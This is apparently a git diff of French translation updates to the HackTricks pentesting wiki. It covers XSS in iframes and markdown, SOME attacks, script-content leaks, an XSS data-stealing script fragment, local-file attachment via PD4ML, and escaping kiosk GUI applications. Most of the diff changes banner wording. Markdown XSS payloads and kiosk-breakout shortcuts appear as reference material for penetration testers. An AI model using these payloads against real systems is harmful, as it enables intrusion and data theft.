-## Iframes dans XSS +## Iframes in XSS Il existe 3 façons d'indiquer le contenu d'une page en iframed : @@ -20,7 +20,7 @@ Il existe 3 façons d'indiquer le contenu d'une page en iframed : * Via `src` en indiquant le contenu en utilisant le protocole `data:` * Via `srcdoc` en indiquant le contenu -**Accès aux variables Parent & Enfant** +**Accès aux variables parent et enfant** ```html ` ne fonctionnent pas toujours, vous aurez donc besoin d'une méthode différente pour exécuter du JS (par exemple, en abusant de ` @@ -161,11 +161,11 @@ checkPort(i); ``` ### [SSRF](../ssrf-server-side-request-forgery/) -Cette vulnérabilité peut être très facilement transformée en SSRF (comme vous pouvez faire charger le script des ressources externes). Alors essayez simplement de l'exploiter (lire quelques métadonnées?). +Cette vulnérabilité peut être très facilement transformée en SSRF (car vous pouvez faire charger des ressources externes au script). Alors essayez simplement de l'exploiter (lire des métadonnées ?). -### Pièces jointes: PD4ML +### Pièces jointes : PD4ML -Il existe des moteurs HTML 2 PDF qui permettent de **spécifier des pièces jointes pour le PDF**, comme **PD4ML**. Vous pouvez abuser de cette fonctionnalité pour **attacher n'importe quel fichier local** au PDF.\ +Il existe des moteurs HTML vers PDF qui permettent de **spécifier des pièces jointes pour le PDF**, comme **PD4ML**. Vous pouvez abuser de cette fonctionnalité pour **attacher n'importe quel fichier local** au PDF.\ Pour ouvrir la pièce jointe, j'ai ouvert le fichier avec **Firefox et double-cliqué sur le symbole de trombone** pour **enregistrer la pièce jointe** en tant que nouveau fichier.\ Capturer la **réponse PDF** avec Burp devrait également **afficher la pièce jointe en texte clair** à l'intérieur du PDF. @@ -187,12 +187,12 @@ Capturer la **réponse PDF** avec Burp devrait également **afficher la pièce j Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -Autres façons de soutenir HackTricks: +Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
diff --git a/pentesting-web/xss-cross-site-scripting/shadow-dom.md b/pentesting-web/xss-cross-site-scripting/shadow-dom.md index e33054d3c..227aa67c7 100644 --- a/pentesting-web/xss-cross-site-scripting/shadow-dom.md +++ b/pentesting-web/xss-cross-site-scripting/shadow-dom.md @@ -2,31 +2,30 @@
-Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge HackTricks AWS)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
**Consultez ce blog : [https://blog.ankursundara.com/shadow-dom/](https://blog.ankursundara.com/shadow-dom/)** et ce **défi CTF : [https://github.com/Super-Guesser/ctf/blob/master/2022/dicectf/shadow.md](https://github.com/Super-Guesser/ctf/blob/master/2022/dicectf/shadow.md)** -
-Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge HackTricks AWS)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
diff --git a/pentesting-web/xss-cross-site-scripting/sniff-leak.md b/pentesting-web/xss-cross-site-scripting/sniff-leak.md index a3aaba64f..bae35ba18 100644 --- a/pentesting-web/xss-cross-site-scripting/sniff-leak.md +++ b/pentesting-web/xss-cross-site-scripting/sniff-leak.md @@ -1,37 +1,23 @@ -# Fuite par Sniff +# Fuite de Sniff
-Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
-## Fuite du contenu d'un script en le convertissant en UTF16 +## Contenu du script de fuite en le convertissant en UTF16 -[**Ce writeup**](https://blog.huli.tw/2022/08/01/en/uiuctf-2022-writeup/#modernism21-solves) provoque une fuite d'un texte/plain car il n'y a pas d'en-tête `X-Content-Type-Options: nosniff` en ajoutant quelques caractères initiaux qui feront croire à JavaScript que le contenu est en UTF-16, donc le script ne se brise pas. +[**Ce compte rendu**](https://blog.huli.tw/2022/08/01/en/uiuctf-2022-writeup/#modernism21-solves) fuite un texte brut car il n'y a pas d'en-tête `X-Content-Type-Options: nosniff` en ajoutant quelques caractères initiaux qui feront penser à JavaScript que le contenu est en UTF-16 afin que le script ne se casse pas. -## Fuite du contenu d'un script en le traitant comme un ICO +## Contenu du script de fuite en le traitant comme une ICO -[**Le writeup suivant**](https://blog.huli.tw/2022/08/01/en/uiuctf-2022-writeup/#precisionism3-solves) provoque la fuite du contenu du script en le chargeant comme s'il s'agissait d'une image ICO en accédant au paramètre `width`. - -
- -Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! - -Autres moyens de soutenir HackTricks : - -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). - -
+[**Le prochain compte rendu**](https://blog.huli.tw/2022/08/01/en/uiuctf-2022-writeup/#precisionism3-solves) fuite le contenu du script en le chargeant comme s'il s'agissait d'une image ICO en accédant au paramètre `width`. diff --git a/pentesting-web/xss-cross-site-scripting/some-same-origin-method-execution.md b/pentesting-web/xss-cross-site-scripting/some-same-origin-method-execution.md index 733473f0f..87a9166cc 100644 --- a/pentesting-web/xss-cross-site-scripting/some-same-origin-method-execution.md +++ b/pentesting-web/xss-cross-site-scripting/some-same-origin-method-execution.md @@ -2,12 +2,12 @@
-☁️ HackTricks Cloud ☁️ - 🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert Red Team AWS de HackTricks)! -* Travaillez-vous dans une **entreprise de cybersécurité** ? Vous voulez voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le **groupe Telegram** ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
@@ -16,9 +16,9 @@ Il y aura des occasions où vous pourrez exécuter un peu de javascript limité sur une page. Par exemple, dans le cas où vous pouvez [**contrôler une valeur de rappel qui sera exécutée**](./#javascript-function). -Dans ces cas, l'une des meilleures choses que vous pourriez faire est d'**accéder au DOM pour appeler n'importe quelle** action sensible que vous pouvez trouver (comme cliquer sur un bouton). Cependant, vous trouverez généralement cette vulnérabilité dans **de petits points d'extrémité sans rien d'intéressant dans le DOM**. +Dans ces cas, l'une des meilleures choses que vous pourriez faire est d'**accéder au DOM pour appeler n'importe quelle** action sensible que vous pouvez trouver (comme cliquer sur un bouton). Cependant, vous trouverez généralement cette vulnérabilité dans **de petits points de terminaison sans rien d'intéressant dans le DOM**. -Dans ces scénarios, cette attaque sera très utile, car son but est de pouvoir **abuser de l'exécution JS limitée à l'intérieur d'un DOM à partir d'une page différente du même domaine** avec des actions plus intéressantes. +Dans ces scénarios, cette attaque sera très utile, car son but est de pouvoir **abuser de l'exécution JS limitée à l'intérieur d'un DOM à partir d'une page différente du même domaine** avec des actions beaucoup plus intéressantes. Essentiellement, le flux de l'attaque est le suivant : @@ -30,9 +30,9 @@ Essentiellement, le flux de l'attaque est le suivant : * La **deuxième page** chargera la **page vulnérable en abusant du rappel** et en utilisant l'objet **`opener`** pour **accéder et exécuter une action dans la page initiale** (qui contient maintenant le DOM intéressant). {% hint style="danger" %} -Notez que même si la page initiale accède à une nouvelle URL après avoir créé la deuxième page, l'**objet `opener` de la deuxième page reste une référence valide à la première page dans le nouveau DOM**. +Notez que même si la page initiale accède à une nouvelle URL après avoir créé la deuxième page, l'**objet `opener` de la deuxième page est toujours une référence valide à la première page dans le nouveau DOM**. -De plus, pour que la deuxième page puisse utiliser l'objet opener, **les deux pages doivent être dans la même origine**. C'est la raison pour laquelle, pour abuser de cette vulnérabilité, vous devez trouver une sorte de **XSS dans la même origine**. +De plus, pour que la deuxième page puisse utiliser l'objet opener, **les deux pages doivent être dans la même origine**. C'est la raison pour laquelle, pour exploiter cette vulnérabilité, vous devez trouver une sorte de **XSS dans la même origine**. {% endhint %} ### Exploitation @@ -43,7 +43,7 @@ De plus, pour que la deuxième page puisse utiliser l'objet opener, **les deux p ### Exemple * Vous pouvez trouver un exemple vulnérable sur [https://www.someattack.com/Playground/](https://www.someattack.com/Playground/) -* Notez que dans cet exemple, le serveur **génère du code javascript** et **l'ajoute** au HTML en fonction du **contenu du paramètre de rappel :** `` . C'est pourquoi dans cet exemple, vous n'avez pas besoin d'indiquer explicitement l'utilisation de `opener`. +* Notez que dans cet exemple, le serveur **génère du code javascript** et **l'ajoute** au HTML en fonction du **contenu du paramètre de rappel:** `` . C'est pourquoi dans cet exemple, vous n'avez pas besoin d'indiquer explicitement l'utilisation de `opener`. * Consultez également ce write-up CTF : [https://ctftime.org/writeup/36068](https://ctftime.org/writeup/36068) ## Références diff --git a/pentesting-web/xss-cross-site-scripting/steal-info-js.md b/pentesting-web/xss-cross-site-scripting/steal-info-js.md index 01d08d1fa..b297f19d1 100644 --- a/pentesting-web/xss-cross-site-scripting/steal-info-js.md +++ b/pentesting-web/xss-cross-site-scripting/steal-info-js.md @@ -1,14 +1,14 @@
-Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge HackTricks AWS)! -Autres moyens de soutenir HackTricks : +D'autres façons de soutenir HackTricks: * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
```javascript @@ -120,14 +120,14 @@ exfil_info("onmessage", encode(e.data)) ```
-Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge HackTricks AWS)! -Autres moyens de soutenir HackTricks : +D'autres façons de soutenir HackTricks: * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
diff --git a/pentesting-web/xss-cross-site-scripting/xss-in-markdown.md b/pentesting-web/xss-cross-site-scripting/xss-in-markdown.md index 21f0f42c2..abde924db 100644 --- a/pentesting-web/xss-cross-site-scripting/xss-in-markdown.md +++ b/pentesting-web/xss-cross-site-scripting/xss-in-markdown.md @@ -2,7 +2,7 @@
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! * Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) @@ -12,11 +12,11 @@
-Si vous avez la possibilité d'injecter du code en markdown, il existe quelques options que vous pouvez utiliser pour déclencher un XSS lorsque le code est interprété. +Si vous avez la chance d'injecter du code en markdown, il existe quelques options que vous pouvez utiliser pour déclencher un XSS lorsque le code est interprété. ### Balises HTML -La manière la plus courante d'obtenir un XSS en markdown est d'injecter des balises HTML courantes qui exécutent du javascript, car plusieurs interpréteurs markdown accepteront également le HTML. +La manière la plus courante d'obtenir un XSS en markdown est d'injecter des balises HTML courantes qui exécutent du javascript, car plusieurs interpréteurs de markdown accepteront également le HTML. ```html @@ -48,9 +48,9 @@ Si les balises HTML ne sont pas une option, vous pouvez toujours essayer de joue ![Escape SRC - onload](https://www.example.com/image.png"onload="alert('ImageOnLoad')) ![Escape SRC - onerror]("onerror="alert('ImageOnError')) ``` -### Contournement de la désinfection HTML Markdown +### Contournement de la désinfection HTML dans Markdown -Le code suivant **désinfecte l'entrée HTML** puis la **transmet au parseur Markdown**, ensuite, une XSS peut être déclenchée en abusant des mauvaises interprétations entre Markdown et DOMPurify +Le code suivant **désinfecte l'entrée HTML** puis la **transmet au parseur Markdown**, ensuite, une attaque XSS peut être déclenchée en abusant des mauvaises interprétations entre Markdown et DOMPurify ```html @@ -62,7 +62,7 @@ document.body.innerHTML = marked.parse(DOMPurify.sanitize(qs.get("content"))); } ``` -Exemple de charges utiles : +Exemples de payloads : ```html
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! -* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou souhaitez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** diff --git a/physical-attacks/escaping-from-gui-applications/README.md b/physical-attacks/escaping-from-gui-applications/README.md index bb61b5ee1..ef12dc47f 100644 --- a/physical-attacks/escaping-from-gui-applications/README.md +++ b/physical-attacks/escaping-from-gui-applications/README.md @@ -1,24 +1,23 @@ -```markdown
-Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
-# Vérifiez les actions possibles à l'intérieur de l'application GUI +# Vérifier les actions possibles à l'intérieur de l'application GUI -Les **Dialogues Communs** sont ces options de **sauvegarde d'un fichier**, **ouverture d'un fichier**, sélection d'une police, d'une couleur... La plupart offriront une **fonctionnalité d'Explorateur complète**. Cela signifie que vous pourrez accéder aux fonctionnalités de l'Explorateur si vous pouvez accéder à ces options : +Les **Dialogues courants** sont ces options de **sauvegarde d'un fichier**, **ouverture d'un fichier**, sélection d'une police, d'une couleur... La plupart d'entre eux **offriront une fonctionnalité d'Explorateur complète**. Cela signifie que vous pourrez accéder aux fonctionnalités de l'Explorateur si vous pouvez accéder à ces options : -* Fermer/Enregistrer sous +* Fermer/Fermer sous * Ouvrir/Ouvrir avec * Imprimer * Exporter/Importer @@ -32,9 +31,9 @@ Vous devriez vérifier si vous pouvez : * Accéder à des zones restreintes * Exécuter d'autres applications -## Exécution de Commande +## Exécution de commandes -Peut-être qu'en **utilisant l'option** _**Ouvrir avec**_ vous pouvez ouvrir/exécuter une sorte de shell. +Peut-être **en utilisant une option `Ouvrir avec`** vous pouvez ouvrir/exécuter une sorte de shell. ### Windows @@ -46,15 +45,15 @@ _bash, sh, zsh..._ Plus ici : [https://gtfobins.github.io/](https://gtfobins.git # Windows -## Contournement des restrictions de chemin +## Contourner les restrictions de chemin * **Variables d'environnement** : Il y a beaucoup de variables d'environnement qui pointent vers un chemin * **Autres protocoles** : _about:, data:, ftp:, file:, mailto:, news:, res:, telnet:, view-source:_ * **Liens symboliques** -* **Raccourcis** : CTRL+N (ouvrir nouvelle session), CTRL+R (Exécuter Commandes), CTRL+SHIFT+ESC (Gestionnaire de tâches), Windows+E (ouvrir explorateur), CTRL-B, CTRL-I (Favoris), CTRL-H (Historique), CTRL-L, CTRL-O (Dialogue Fichier/Ouvrir), CTRL-P (Dialogue Imprimer), CTRL-S (Enregistrer sous) -* Menu Administratif caché : CTRL-ALT-F8, CTRL-ESC-F9 -* **URI Shell** : _shell:Outils d'administration, shell:Bibliothèque de documents, shell:Bibliothèques, shell:Profils d'utilisateur, shell:Personnel, shell:Dossier de recherche, shell:Système, shell:Dossier de lieux réseau, shell:Envoyer à, shell:Profils d'utilisateur, shell:Outils d'administration communs, shell:Dossier Mon Ordinateur, shell:Dossier Internet_ -* **Chemins UNC** : Chemins pour se connecter aux dossiers partagés. Vous devriez essayer de vous connecter au C$ de la machine locale ("\\\127.0.0.1\c$\Windows\System32") +* **Raccourcis** : CTRL+N (ouvrir une nouvelle session), CTRL+R (Exécuter des commandes), CTRL+SHIFT+ESC (Gestionnaire des tâches), Windows+E (ouvrir l'explorateur), CTRL-B, CTRL-I (Favoris), CTRL-H (Historique), CTRL-L, CTRL-O (Boîte de dialogue Ouvrir/Fichier), CTRL-P (Boîte de dialogue Imprimer), CTRL-S (Enregistrer sous) +* Menu administratif caché : CTRL-ALT-F8, CTRL-ESC-F9 +* **URI Shell** : _shell:Outils administratifs, shell:Bibliothèque de documents, shell:Bibliothèques, shell:ProfilsUtilisateurs, shell:Personnel, shell:DossierRechercheAccueil, shell:Réseau, shell:EnvoyerVers, shell:ProfilsUtilisateurs, shell:Outils administratifs communs, shell:PosteTravail, shell:DossierInternet_ +* **Chemins UNC** : Chemins pour se connecter à des dossiers partagés. Vous devriez essayer de vous connecter au C$ de la machine locale ("\\\127.0.0.1\c$\Windows\System32") * **Plus de chemins UNC :** | UNC | UNC | UNC | @@ -69,7 +68,7 @@ _bash, sh, zsh..._ Plus ici : [https://gtfobins.github.io/](https://gtfobins.git | %TMP% | %USERDOMAIN% | %USERNAME% | | %USERPROFILE% | %WINDIR% | | -## Téléchargez vos Binaires +## Téléchargez vos binaires Console : [https://sourceforge.net/projects/console/](https://sourceforge.net/projects/console/)\ Explorateur : [https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/](https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/)\ @@ -89,193 +88,165 @@ Explorateur : [https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2 ## Raccourcis -* Touches Collantes – Appuyez 5 fois sur SHIFT -* Touches Souris – SHIFT+ALT+VERROU NUM -* Contraste Élevé – SHIFT+ALT+IMPR ÉCRAN -* Touches Bascule – Maintenez VERROU NUM pendant 5 secondes -* Touches Filtre – Maintenez la touche SHIFT droite pendant 12 secondes +* Sticky Keys – Appuyez sur SHIFT 5 fois +* Mouse Keys – SHIFT+ALT+NUMLOCK +* Contraste élevé – SHIFT+ALT+PRINTSCN +* Touche de bascule – Maintenez NUMLOCK enfoncé pendant 5 secondes +* Touches de filtre – Maintenez la 